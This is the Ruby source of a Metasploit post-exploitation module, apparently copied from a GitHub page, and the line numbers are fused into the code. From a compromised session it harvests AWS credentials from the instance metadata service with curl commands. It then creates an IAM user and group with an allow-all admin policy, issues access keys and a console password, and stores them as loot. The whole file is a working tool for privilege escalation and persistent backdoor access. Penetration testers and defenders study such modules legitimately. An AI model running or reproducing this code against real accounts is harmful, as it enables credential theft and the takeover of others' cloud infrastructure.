Path: blob/master/modules/post/multi/escalate/aws_create_iam_user.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/aws/client'6require 'json'78class MetasploitModule < Msf::Post9include Metasploit::Framework::Aws::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Create an AWS IAM User',16'Description' => %q{17This module will attempt to create an AWS (Amazon Web Services) IAM18(Identity and Access Management) user with Admin privileges.19},20'License' => MSF_LICENSE,21'Platform' => %w[unix],22'SessionTypes' => %w[shell meterpreter],23'Author' => [24'Javier Godinez <godinezj[at]gmail.com>',25'Jon Hart <[email protected]>'26],27'References' => [28[ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]29],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [CONFIG_CHANGES],33'Reliability' => []34}35)36)3738register_options(39[40OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),41OptString.new('IAM_PASSWORD', [false, 'Password to set for the user to be created (leave empty or unset to use a random name)', '']),42OptString.new('IAM_GROUPNAME', [false, 'Name of the group to be created (leave empty or unset to use a random name)', '']),43OptBool.new('CREATE_API', [true, 'Add access key ID and secret access key to account (API, CLI, and SDK access)', true]),44OptBool.new('CREATE_CONSOLE', [true, 'Create an account with a password for accessing the AWS management console', true]),45OptString.new('AccessKeyId', [false, 'AWS access key', '']),46OptString.new('SecretAccessKey', [false, 'AWS secret key', '']),47OptString.new('Token', [false, 'AWS session token', ''])48]49)50register_advanced_options(51[52OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),53OptString.new('RHOST', [true, 'AWS IAM Endpoint', 'iam.amazonaws.com']),54OptPort.new('RPORT', [true, 'AWS IAM Endpoint TCP Port', 443]),55OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),56OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),57OptString.new('Region', [true, 'The default region', 'us-east-1' ])58]59)60deregister_options('VHOST')61end6263def setup64if !(datastore['CREATE_API'] || datastore['CREATE_CONSOLE'])65fail_with(Failure::BadConfig, 'Must set one or both of CREATE_API and CREATE_CONSOLE')66end67end6869def run70# setup creds for making IAM API calls71creds = metadata_creds72if datastore['AccessKeyId'].empty?73unless creds.include?('AccessKeyId')74print_error('Could not find creds')75return76end77else78creds = {79'AccessKeyId' => datastore['AccessKeyId'],80'SecretAccessKey' => datastore['SecretAccessKey']81}82creds['Token'] = datastore['Token'] unless datastore['Token'].blank?83end8485results = {}8687# create user88username = datastore['IAM_USERNAME'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_USERNAME']89print_status("Creating user: #{username}")90action = 'CreateUser'91doc = call_iam(creds, 'Action' => action, 'UserName' => username)92print_results(doc, action)93results['UserName'] = username9495# create group96groupname = datastore['IAM_GROUPNAME'].blank? ? username : datastore['IAM_GROUPNAME']97print_status("Creating group: #{groupname}")98action = 'CreateGroup'99doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname)100print_results(doc, action)101results['GroupName'] = groupname102103# create group policy104print_status('Creating group policy')105pol_doc = datastore['IAM_GROUP_POL']106action = 'PutGroupPolicy'107doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => 'Policy', 'PolicyDocument' => URI::DEFAULT_PARSER.escape(pol_doc))108print_results(doc, action)109110# add user to group111print_status("Adding user (#{username}) to group: #{groupname}")112action = 'AddUserToGroup'113doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => groupname)114print_results(doc, action)115116if datastore['CREATE_API']117# create API keys118print_status("Creating API Keys for #{username}")119action = 'CreateAccessKey'120response = call_iam(creds, 'Action' => action, 'UserName' => username)121doc = print_results(response, action)122if doc123results['SecretAccessKey'] = doc['SecretAccessKey']124results['AccessKeyId'] = doc['AccessKeyId']125end126end127128if datastore['CREATE_CONSOLE']129print_status("Creating password for #{username}")130password = datastore['IAM_PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_PASSWORD']131action = 'CreateLoginProfile'132response = call_iam(creds, 'Action' => action, 'UserName' => username, 'Password' => password)133doc = print_results(response, action)134results['Password'] = password if doc135end136137action = 'GetUser'138response = call_iam(creds, 'Action' => action, 'UserName' => username)139doc = print_results(response, action)140return if doc.nil?141142arn = doc['Arn']143results['AccountId'] = arn[/^arn:aws:iam::(\d+):/, 1]144145keys = results.keys146table = Rex::Text::Table.new(147'Header' => 'AWS Account Information',148'Columns' => keys149)150table << results.values151print_line(table.to_s)152153if results.key?('AccessKeyId')154print_good('AWS CLI/SDK etc can be accessed by configuring with the above listed values')155end156157if results.key?('Password')158print_good("AWS console URL https://#{results['AccountId']}.signin.aws.amazon.com/console may be used to access this account")159end160161path = store_loot('AWS credentials', 'text/plain', session, JSON.pretty_generate(results))162print_good('AWS loot stored at: ' + path)163end164165def metadata_creds166# TODO: do it for windows/generic way167cmd_out = cmd_exec('curl --version')168if cmd_out =~ /^curl \d/169url = "http://#{datastore['METADATA_IP']}/2012-01-12/meta-data/"170print_status("#{datastore['METADATA_IP']} - looking for creds...")171resp = cmd_exec("curl #{url}")172if resp =~ /^iam.*/173resp = cmd_exec("curl #{url}iam/")174if resp =~ /^security-credentials.*/175resp = cmd_exec("curl #{url}iam/security-credentials/")176json_out = cmd_exec("curl #{url}iam/security-credentials/#{resp}")177begin178return JSON.parse(json_out)179rescue JSON::ParserError180print_error 'Could not parse JSON output'181end182end183end184else185print_error cmd_out186end187{}188end189end190191192